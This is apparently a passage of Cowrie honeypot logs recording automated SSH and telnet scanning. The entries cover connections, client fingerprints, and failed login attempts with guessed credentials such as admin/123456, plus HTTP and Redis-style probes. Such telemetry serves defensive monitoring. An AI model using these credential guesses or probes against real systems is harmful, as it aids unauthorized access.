openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:37.242582Z","src_ip":"103.27.238.120","session":"f0971dd754f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071982","message":"login attempt [root/23071982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:38.079629Z","src_ip":"103.27.238.120","session":"f0971dd754f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:39.360073Z","src_ip":"103.27.238.120","session":"f0971dd754f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":52754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a690e767ccb1","protocol":"ssh","message":"New connection: 46.19.67.181:52754 (10.17.0.5:22) [session: a690e767ccb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:49.091633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:49.095749Z","src_ip":"46.19.67.181","session":"a690e767ccb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:49.210290Z","src_ip":"46.19.67.181","session":"a690e767ccb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555aaa","message":"login attempt [root/555aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:49.556883Z","src_ip":"46.19.67.181","session":"a690e767ccb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:50.673977Z","src_ip":"46.19.67.181","session":"a690e767ccb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":46568,"dst_ip":"10.17.0.5","dst_port":22,"session":"950e4918b3b0","protocol":"ssh","message":"New connection: 182.93.50.90:46568 (10.17.0.5:22) [session: 950e4918b3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:51.506969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:51.510736Z","src_ip":"182.93.50.90","session":"950e4918b3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:51.747809Z","src_ip":"182.93.50.90","session":"950e4918b3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Hello@123","message":"login attempt [test/Hello@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:52.654929Z","src_ip":"182.93.50.90","session":"950e4918b3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:54.388981Z","src_ip":"182.93.50.90","session":"950e4918b3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3531219959259,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:56.051817Z","src_ip":"128.199.8.54","session":"b5b938e979de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":38038,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc8c2dbc77e","protocol":"ssh","message":"New connection: 91.92.40.13:38038 (10.17.0.5:22) [session: 2fc8c2dbc77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:05.277868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:05.562882Z","src_ip":"91.92.40.13","session":"2fc8c2dbc77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:05.566309Z","src_ip":"91.92.40.13","session":"2fc8c2dbc77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:07.390467Z","src_ip":"91.92.40.13","session":"2fc8c2dbc77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:08.795195Z","src_ip":"91.92.40.13","session":"2fc8c2dbc77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.078935384750366,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:10.998831Z","src_ip":"172.81.62.90","session":"bfcc646d31b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":41265,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc7b83c8276","protocol":"ssh","message":"New connection: 216.155.93.75:41265 (159.203.135.109:22) [session: 0dc7b83c8276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:18.427441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:18.433668Z","src_ip":"216.155.93.75","session":"0dc7b83c8276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:18.587528Z","src_ip":"216.155.93.75","session":"0dc7b83c8276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz@12345","message":"login attempt [root/qaz@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:19.236417Z","src_ip":"216.155.93.75","session":"0dc7b83c8276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:20.393950Z","src_ip":"216.155.93.75","session":"0dc7b83c8276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60806,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd0df32c94e2","protocol":"telnet","message":"New connection: 94.23.66.112:60806 (10.17.0.5:23) [session: fd0df32c94e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:44:38.205489Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":43426,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0dad52a5d58","protocol":"telnet","message":"New connection: 34.78.85.152:43426 (10.17.0.5:23) [session: e0dad52a5d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:01.085828Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":43432,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aca41edce59","protocol":"telnet","message":"New connection: 34.78.85.152:43432 (10.17.0.5:23) [session: 1aca41edce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:01.254174Z"}
{"eventid":"cowrie.session.closed","duration":0.0052318572998046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:01.259247Z","src_ip":"34.78.85.152","session":"1aca41edce59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":43436,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bd558a1d7f","protocol":"telnet","message":"New connection: 34.78.85.152:43436 (10.17.0.5:23) [session: 83bd558a1d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:01.412250Z"}
{"eventid":"cowrie.session.closed","duration":1.623992919921875,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:02.709707Z","src_ip":"34.78.85.152","session":"e0dad52a5d58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14070,"dst_ip":"10.17.0.5","dst_port":23,"session":"8275c18b2b04","protocol":"telnet","message":"New connection: 34.78.85.152:14070 (10.17.0.5:23) [session: 8275c18b2b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:20.573581Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:20.579612Z","src_ip":"34.78.85.152","session":"8275c18b2b04","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:20.583643Z","src_ip":"34.78.85.152","session":"8275c18b2b04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09265017509460449,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:20.666090Z","src_ip":"34.78.85.152","session":"8275c18b2b04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e164394edcc0","protocol":"telnet","message":"New connection: 34.78.85.152:14074 (10.17.0.5:23) [session: e164394edcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:20.739427Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14082,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a5964b0169","protocol":"telnet","message":"New connection: 34.78.85.152:14082 (10.17.0.5:23) [session: d4a5964b0169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:20.892139Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14096,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b8dd4fb6a5","protocol":"telnet","message":"New connection: 34.78.85.152:14096 (10.17.0.5:23) [session: 52b8dd4fb6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.046658Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14100,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b6c304b1f8","protocol":"telnet","message":"New connection: 34.78.85.152:14100 (10.17.0.5:23) [session: 39b6c304b1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.200274Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14102,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed1990d6979","protocol":"telnet","message":"New connection: 34.78.85.152:14102 (10.17.0.5:23) [session: 8ed1990d6979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.354449Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14118,"dst_ip":"10.17.0.5","dst_port":23,"session":"4800231a693d","protocol":"telnet","message":"New connection: 34.78.85.152:14118 (10.17.0.5:23) [session: 4800231a693d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.508681Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e51aef465d7","protocol":"telnet","message":"New connection: 34.78.85.152:14120 (10.17.0.5:23) [session: 6e51aef465d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.663396Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14124,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fcc552b04a4","protocol":"telnet","message":"New connection: 34.78.85.152:14124 (10.17.0.5:23) [session: 9fcc552b04a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.817483Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14136,"dst_ip":"10.17.0.5","dst_port":23,"session":"e386829a7ccf","protocol":"telnet","message":"New connection: 34.78.85.152:14136 (10.17.0.5:23) [session: e386829a7ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:21.975767Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14144,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d869456306","protocol":"telnet","message":"New connection: 34.78.85.152:14144 (10.17.0.5:23) [session: 77d869456306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.206216Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14158,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba2765ad3cc5","protocol":"telnet","message":"New connection: 34.78.85.152:14158 (10.17.0.5:23) [session: ba2765ad3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.359940Z"}
{"eventid":"cowrie.session.closed","duration":0.004357814788818359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.364195Z","src_ip":"34.78.85.152","session":"ba2765ad3cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14166,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2f5d093be2","protocol":"telnet","message":"New connection: 34.78.85.152:14166 (10.17.0.5:23) [session: 3e2f5d093be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.514193Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14178,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4568942dc6","protocol":"telnet","message":"New connection: 34.78.85.152:14178 (10.17.0.5:23) [session: 5e4568942dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.670402Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14184,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf96f6161644","protocol":"telnet","message":"New connection: 34.78.85.152:14184 (10.17.0.5:23) [session: cf96f6161644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.826241Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14192,"dst_ip":"10.17.0.5","dst_port":23,"session":"7007ea0c2320","protocol":"telnet","message":"New connection: 34.78.85.152:14192 (10.17.0.5:23) [session: 7007ea0c2320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:22.981851Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14194,"dst_ip":"10.17.0.5","dst_port":23,"session":"42da9b66e94e","protocol":"telnet","message":"New connection: 34.78.85.152:14194 (10.17.0.5:23) [session: 42da9b66e94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.137747Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14208,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c4579881028","protocol":"telnet","message":"New connection: 34.78.85.152:14208 (10.17.0.5:23) [session: 3c4579881028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.291864Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14218,"dst_ip":"10.17.0.5","dst_port":23,"session":"2281b2be0b2c","protocol":"telnet","message":"New connection: 34.78.85.152:14218 (10.17.0.5:23) [session: 2281b2be0b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.446057Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14222,"dst_ip":"10.17.0.5","dst_port":23,"session":"25613bc21128","protocol":"telnet","message":"New connection: 34.78.85.152:14222 (10.17.0.5:23) [session: 25613bc21128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.601897Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14224,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc4bc0869873","protocol":"telnet","message":"New connection: 34.78.85.152:14224 (10.17.0.5:23) [session: cc4bc0869873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.758060Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.762924Z","src_ip":"34.78.85.152","session":"cc4bc0869873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14236,"dst_ip":"10.17.0.5","dst_port":23,"session":"185dc020b4c0","protocol":"telnet","message":"New connection: 34.78.85.152:14236 (10.17.0.5:23) [session: 185dc020b4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:23.915561Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14238,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d911075f96","protocol":"telnet","message":"New connection: 34.78.85.152:14238 (10.17.0.5:23) [session: e6d911075f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.068830Z"}
